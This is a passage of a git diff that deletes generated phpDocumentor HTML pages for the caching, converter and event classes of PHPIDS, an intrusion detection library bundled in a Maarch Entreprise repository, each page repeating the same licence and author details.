--> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Caching_Database.html">IDS_Caching_Database</a> - </td> - <td> - Database caching wrapper - </td> - </tr> - </table> - </div> - </div> - - <a name="sec-includes"></a> - <div class="info-box"> - <div class="info-box-title">Includes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-classes">Classes</a> - | <span class="disabled">Includes</span> - </div> - <div class="info-box-body"> - <a name="_IDS/Caching/Interface_php"><!-- --></a> -<div class="evenrow"> - - <div> - <span class="include-title"> - <span class="include-type">require_once</span> - (<span class="include-name">'IDS/Caching/Interface.php'</span>) - (line <span class="line-number">34</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - -</div> - </div> - </div> - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:42 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Factory.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Factory.php.html deleted file mode 100755 index 946aa7bdd33e1553978e7a04430af419a0255383..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Factory.php.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Factory.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Caching/Factory.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Caching.html">IDS_Caching</a> - </td> - <td> - Caching factory - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---File.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---File.php.html deleted file mode 100755 index 7adcfc41d302dc95d568657bc5fee8ad9760f2e3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---File.php.html +++ /dev/null @@ -1,105 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page File.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Caching/File.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Caching_File.html">IDS_Caching_File</a> - </td> - <td> - File caching wrapper - </td> - </tr> - </table> - </div> - </div> - - <a name="sec-includes"></a> - <div class="info-box"> - <div class="info-box-title">Includes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-classes">Classes</a> - | <span class="disabled">Includes</span> - </div> - <div class="info-box-body"> - <a name="_IDS/Caching/Interface_php"><!-- --></a> -<div class="oddrow"> - - <div> - <span class="include-title"> - <span class="include-type">require_once</span> - (<span class="include-name">'IDS/Caching/Interface.php'</span>) - (line <span class="line-number">34</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - -</div> - </div> - </div> - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:44 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Interface.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Interface.php.html deleted file mode 100755 index f08d54033885caf62bfaa0c0e3d0ff446d221bf3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Interface.php.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Interface.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Caching/Interface.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a> - </td> - <td> - Caching wrapper interface - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Memcached.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Memcached.php.html deleted file mode 100755 index 9336e0c856d39e02c1bc22d15107e0fc15b4faa1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Memcached.php.html +++ /dev/null @@ -1,105 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Memcached.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Caching/Memcached.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Caching_Memcached.html">IDS_Caching_Memcached</a> - </td> - <td> - File caching wrapper - </td> - </tr> - </table> - </div> - </div> - - <a name="sec-includes"></a> - <div class="info-box"> - <div class="info-box-title">Includes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-classes">Classes</a> - | <span class="disabled">Includes</span> - </div> - <div class="info-box-body"> - <a name="_IDS/Caching/Interface_php"><!-- --></a> -<div class="oddrow"> - - <div> - <span class="include-title"> - <span class="include-type">require_once</span> - (<span class="include-name">'IDS/Caching/Interface.php'</span>) - (line <span class="line-number">34</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - -</div> - </div> - </div> - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:50 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Session.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Session.php.html deleted file mode 100755 index fe3a0c7d5f67e32af18b42d429862e9c9b71ee6a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Caching---Session.php.html +++ /dev/null @@ -1,105 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Session.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Caching/Session.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - | <a href="#sec-includes">Includes</a> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Caching_Session.html">IDS_Caching_Session</a> - </td> - <td> - File caching wrapper - </td> - </tr> - </table> - </div> - </div> - - <a name="sec-includes"></a> - <div class="info-box"> - <div class="info-box-title">Includes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-classes">Classes</a> - | <span class="disabled">Includes</span> - </div> - <div class="info-box-body"> - <a name="_IDS/Caching/Interface_php"><!-- --></a> -<div class="oddrow"> - - <div> - <span class="include-title"> - <span class="include-type">require_once</span> - (<span class="include-name">'IDS/Caching/Interface.php'</span>) - (line <span class="line-number">34</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - -</div> - </div> - </div> - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:53 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Converter.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Converter.php.html deleted file mode 100755 index 047230ef453df8d0a1e933c2a2e3d79ce56f7132..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Converter.php.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Converter.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="file-name">/Converter.php</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-classes">Classes</a> - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">PHPIDS</p> -<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (https://phpids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see <http://www.gnu.org/licenses/>.</p><p>PHP version 5.1.6+</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - - </div> -</div> - - <a name="sec-classes"></a> - <div class="info-box"> - <div class="info-box-title">Classes</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Classes</span> - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em; vertical-align: top"> - <a href="../PHPIDS/IDS_Converter.html">IDS_Converter</a> - </td> - <td> - PHPIDS specific utility class to convert charsets manually - </td> - </tr> - </table> - </div> - </div> - - - - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:41 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Event.php.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Event.php.html deleted file mode 100755 index 6a7ec30d8b5a33f1b8cbaa4f6ca48a39a647332a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/_Event.php.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs for page Event.php</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta 